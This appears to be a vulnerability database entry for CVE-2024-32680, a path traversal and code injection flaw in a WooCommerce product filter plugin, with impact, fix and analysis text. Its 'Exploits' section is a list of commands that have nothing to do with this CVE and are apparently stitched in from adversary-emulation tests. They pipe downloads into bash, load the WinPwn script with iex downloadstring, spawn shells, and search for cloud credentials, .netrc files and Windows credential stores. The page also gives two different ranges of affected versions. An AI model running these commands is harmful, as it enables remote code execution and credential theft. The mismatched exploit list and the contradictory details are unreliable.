CVE-2024-32680
Overview
This vulnerability involves improper limitation of pathname to a restricted directory (path traversal) combined with improper control of code generation (code injection) within the PluginUS HUSKY – Products Filter for WooCommerce. The root cause lies in insufficient validation and sanitization of user-supplied input used in file path construction and dynamic code execution. The affected component is the file handling and filtering mechanism of the WooCommerce plugin versions up to 1.3.5.2, which processes product filter parameters.
Vulnerability Description
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Improper Control of Generation of Code ('Code Injection') vulnerability in PluginUS HUSKY – Products Filter for WooCommerce (formerly WOOF) allows Using Malicious Files, Code Inclusion.This issue affects HUSKY – Products Filter for WooCommerce (formerly WOOF): from n/a through 1.3.5.2.
Impact
An attacker with at least a low-privileged account can exploit this vulnerability to execute arbitrary code on the affected server, potentially leading to full system compromise. This includes the ability to read or modify sensitive data, deploy backdoors, or disrupt service operations. The vulnerability enables attackers to bypass normal access controls and execute unauthorized commands, posing a critical threat to the confidentiality, integrity, and availability of the WordPress environment hosting the plugin.
Solution
Upgrade the PluginUS HUSKY – Products Filter for WooCommerce to version 1.3.5.3 or later, as recommended by the vendor in the Patchstack advisory. The vendor has released a security update addressing the path traversal and code injection flaws. Refer to the Patchstack database entry at https://patchstack.com/database/vulnerability/woocommerce-products-filter/wordpress-husky-plugin-1-3-5-2-remote-code-execution-rce-vulnerability?_s_id=cve for detailed patch instructions and verification steps.
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Full Analysis
The vulnerability associated with the HUSKY – Products Filter for WooCommerce plugin arises from improper limitations on pathname access and inadequate control over code generation. This flaw allows attackers to exploit path traversal techniques, enabling them to access files outside of the intended directory structure. Furthermore, the vulnerability facilitates code injection, where malicious code can be included and executed on the server. The affected versions of the plugin, particularly those prior to 1.3.5.2, are susceptible to these attacks, which can lead to unauthorized file access and execution of arbitrary code, posing significant risks to the integrity and confidentiality of the web application.
Attackers can leverage this vulnerability through various vectors, primarily by crafting malicious requests that manipulate the file paths used by the plugin. For instance, an attacker could exploit the path traversal aspect by sending specially crafted input that navigates the directory structure, allowing them to access sensitive files such as configuration files or user data. Additionally, by exploiting the code injection aspect, an attacker could upload or reference malicious scripts that execute on the server, potentially leading to full system compromise. Scenarios may include the injection of web shells, which provide persistent access to the compromised system, or the extraction of sensitive information, such as database credentials or user data.
The real-world impact of this vulnerability can be severe, particularly for e-commerce platforms utilizing the affected plugin. Businesses may face significant financial losses due to data breaches, loss of customer trust, and potential legal ramifications stemming from non-compliance with data protection regulations. The exploitation of this vulnerability could lead to unauthorized transactions, manipulation of product listings, or even complete takeover of the web application. The high CVSS score of 8.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from affected organizations to mitigate potential threats.
Detection and mitigation strategies are essential to safeguard against this vulnerability. Organizations should implement web application firewalls (WAFs) that can detect and block malicious requests attempting to exploit path traversal and code injection vulnerabilities. Regular security audits and code reviews of the plugin can help identify and remediate security flaws before they can be exploited. Additionally, keeping the plugin updated to the latest version, where vulnerabilities are patched, is crucial. Employing input validation and sanitization techniques can also reduce the risk of code injection by ensuring that only safe and expected inputs are processed by the application.
In conclusion, the vulnerabilities present in the HUSKY – Products Filter for WooCommerce plugin represent a significant threat to the security of e-commerce platforms. The combination of path traversal and code injection vulnerabilities creates multiple avenues for exploitation, leading to potentially devastating consequences for businesses. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to implement effective detection and mitigation strategies, ultimately enhancing their overall security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Pluginus | Husky - Products Filter Professional For Woocommerce | All |
cpe:2.3:a:pluginus:husky_-_products_filter_professional_for_woocommerce:*:*:*:*:*:wordpress:*:*
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Exploits
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
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Remote = "$($_.RemoteAddress):$($_.RemotePort)"
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}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
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chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-32680 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/vulnerability/woocommerce-products-filter/wordpress-husky-plugin-1-3-5-2-remote-code-execution-rce-vulnerability?_s_id=cve |